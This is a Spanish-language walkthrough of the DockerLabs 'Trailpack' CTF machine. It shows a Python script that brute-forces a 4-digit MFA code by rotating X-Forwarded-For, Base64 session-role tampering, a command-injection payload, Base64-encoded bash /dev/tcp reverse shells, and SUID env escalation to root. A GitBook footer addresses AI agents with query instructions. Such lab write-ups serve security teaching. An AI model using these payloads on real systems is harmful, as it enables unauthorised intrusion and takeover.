> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/medio/trailpack.md).

# Trailpack

## Introduccion

En esta maquina de DockerLabs se compromete una tienda online desarrollada con Python/Uvicorn. La cadena empieza con un registro de usuario protegido por MFA de 4 digitos, pero el control de intentos se puede esquivar manipulando la cabecera `X-Forwarded-For`.

Despues de acceder como usuario normal, se detecta un control de rol debil: la sesion contiene un JSON en Base64 con el campo `role`. Cambiando `user` por `admin` se accede al panel de contabilidad, donde aparece una clave de API y una funcionalidad de soporte vulnerable a Command Injection. Con esa inyeccion se obtiene shell como `balutron`, y la escalada final llega por un `/usr/bin/env` con SUID.

***

## Reconocimiento

Se realiza un escaneo completo con Nmap:

```bash
nmap -sVCS -Pn -n -p- 172.17.0.2
```

<div align="center"><img src="/files/v8V98650jVjrbzYUqYTI" alt="Escaneo Nmap"></div>

Solo aparece un puerto abierto:

| Puerto   | Servicio | Version |
| -------- | -------- | ------- |
| 8000/tcp | HTTP     | Uvicorn |

La web principal es una tienda llamada TrailPack:

<div align="center"><img src="/files/Ce9Zjxep5cygXIsx3jlM" alt="TrailPack tienda"></div>

***

## Registro y MFA

Se crea una cuenta de prueba:

<div align="center"><img src="/files/dQNRZ8RH912QDjkGav6D" alt="Registro de usuario"></div>

Datos usados:

```
Nombre: alberto
Correo: alberto@gmail.com
DNI: 12345678R
```

Tras el registro, la aplicacion exige un codigo MFA de 4 digitos:

<div align="center"><img src="/files/V0rTdJUddbFBrNo5D6qz" alt="MFA TrailPack"></div>

Al probar codigos incorrectos, la aplicacion muestra intentos restantes.

***

## Bypass del limite de intentos

Interceptando la peticion con Burp se observa el endpoint:

```
POST /verify-mfa
```

<div align="center"><img src="/files/ZrUoDZKl5N2nD0QYEH0K" alt="Intento MFA con X-Forwarded-For"></div>

La aplicacion tiene en cuenta la cabecera `X-Forwarded-For` para controlar los intentos. Al cambiar el valor, los intentos vuelven a estar disponibles:

<div align="center"><img src="/files/fBeW6IC1AKXCx6xBV5cS" alt="Cambio de IP con X-Forwarded-For"></div>

Se automatiza la prueba de los 10.000 posibles codigos rotando la IP falsa:

```python
import requests

url = "http://172.17.0.2:8000/verify-mfa"

for i in range(0, 10000):
    headers = {
        "Cookie": "session_id=acd25adc6bb963fcdafff8fd9e663d170298dbbbfe53cd163cb1aebd14c8b037",
        "Content-Type": "application/x-www-form-urlencoded",
        "X-Forwarded-For": f"127.0.0.{i}",
    }

    pin = f"{i:04d}"
    data = "pin=" + pin
    res = requests.post(url=url, headers=headers, data=data)

    if "Codigo incorrecto." not in res.text:
        print("OTP-->", pin)
        break
```

<div align="center"><img src="/files/TwTLSzlCNhMGOfSQZT2E" alt="Script de fuerza bruta MFA"></div>

El codigo valido encontrado es:

```
1332
```

<div align="center"><img src="/files/pohvSscSo48f8Kcw5CWu" alt="OTP encontrado"></div>

***

## Acceso a la cuenta

Con el codigo correcto se accede al panel de usuario:

<div align="center"><img src="/files/bUq3piUFK9SgsxhFZNwt" alt="Panel de usuario TrailPack"></div>

En el codigo fuente se observa un comentario interesante:

```html
<!-- Link de administracion: visible solo si rol === admin en la API -->
```

<div align="center"><img src="/files/HWMqWGkkK5zsFn9y5i39" alt="Comentario del enlace de administracion"></div>

La sesion contiene un valor en Base64 que se puede decodificar:

```bash
echo "eyJ1c2VyIjoiYWxiZXJ0byIsInJvbGUiOiJ1c2VyIiwiZW1haWwiOiJhbGJlcnRvQGdtYWlsLmNvbSJ9" | base64 -d
```

<div align="center"><img src="/files/TKxxfvCApYkKO1kzLEYd" alt="Token decodificado con role user"></div>

Resultado:

```json
{"user":"alberto","role":"user","email":"alberto@gmail.com"}
```

Se modifica el rol a `admin` y se vuelve a codificar:

```bash
echo '{"user":"alberto","role":"admin","email":"alberto@gmail.com"}' | base64
```

<div align="center"><img src="/files/ndhuq9HZmoCozc8ITph1" alt="Token modificado con role admin"></div>

***

## Panel de administracion

Con el rol modificado se accede a:

```
/accounting
```

<div align="center"><img src="/files/sJw0YQ82dNtCb0arrhzX" alt="Panel de administracion TrailPack"></div>

En el panel aparece una clave privada de integracion:

```
FLAG{cl13nt_s1d3_r0l3_1s_n0_s3cur1ty}
```

***

## Command Injection

Al revisar el codigo fuente del panel de usuario aparece otra pista:

```html
<!-- Quejas / Soporte (VULN-4: Command Injection) -->
```

<div align="center"><img src="/files/yo1nzQBmi3UsAEAHOXpO" alt="Pista Command Injection"></div>

La funcionalidad de soporte envia el campo `queja` al endpoint:

```
POST /quejas
```

Se prueba ejecucion de comandos con:

```
hola;id
```

<div align="center"><img src="/files/lZsxwZQ9hMVf5xTagRdA" alt="Command injection con id"></div>

La respuesta confirma ejecucion como:

```
uid=1000(balutron) gid=1000(balutron) groups=1000(balutron)
```

La tecnologia detectada tambien encaja con el servicio visto en Nmap:

<div align="center"><img src="/files/1hrLSHOvaZLlH4vYVnLV" alt="Tecnologias Uvicorn Python Tailwind"></div>

***

## Reverse shell como balutron

Primero se intenta una reverse shell directa:

```bash
hola;bash -i >& /dev/tcp/172.17.0.1/4444 0>&1
```

<div align="center"><img src="/files/mQHlh6xwjIrbIUM1Mfe7" alt="Intento de reverse shell directa"></div>

Para evitar problemas de caracteres, se codifica la reverse shell en Base64:

```bash
echo "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1" | base64
```

Payload usado:

```bash
hola; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQ0NDQgMD4mMQo= | base64 -d | bash
```

<div align="center"><img src="/files/byq8uf1QbZt5ezXJUBLx" alt="Reverse shell en Base64"></div>

Con el listener preparado:

```bash
nc -lvnp 4444
```

Llega la shell:

<div align="center"><img src="/files/qebuEOcO4qtsxe3ojy2k" alt="Shell como balutron"></div>

Usuario obtenido:

```
balutron
```

***

## Enumeracion local

Se buscan binarios SUID:

```bash
find / -perm -4000 -type f 2>/dev/null
```

<div align="center"><img src="/files/V3QEzzcVjMnpBbbHLj5Q" alt="Binarios SUID"></div>

Aparece un binario muy interesante:

```
/usr/bin/env
```

GTFOBins confirma que `env` con SUID puede lanzar una shell conservando privilegios efectivos:

<div align="center"><img src="/files/W0UF3eNhKqkPPAUt42AO" alt="GTFOBins env SUID"></div>

***

## Escalada a root

Se ejecuta `env` para lanzar Bash con privilegios efectivos:

```bash
/usr/bin/env /bin/bash -p
id
```

<div align="center"><img src="/files/hbLwXhcBGRFhfUCudFHh" alt="Root con env SUID"></div>

El resultado muestra:

```
euid=0(root)
```

Con esto se obtiene una shell privilegiada.

***

## Resumen

La ruta completa queda asi:

1. Escaneo con Nmap y deteccion de Uvicorn en el puerto `8000`.
2. Registro de usuario en TrailPack.
3. Deteccion de MFA de 4 digitos.
4. Bypass del limite de intentos rotando `X-Forwarded-For`.
5. Fuerza bruta del OTP hasta encontrar `1332`.
6. Acceso como `alberto`.
7. Decodificacion del token de sesion en Base64.
8. Cambio de `role:user` a `role:admin`.
9. Acceso al panel `/accounting`.
10. Obtencion de la flag de integracion.
11. Deteccion de Command Injection en `/quejas`.
12. Reverse shell como `balutron`.
13. Enumeracion de SUID.
14. Abuso de `/usr/bin/env` con SUID.
15. Shell final con privilegios de `root`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/medio/trailpack.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
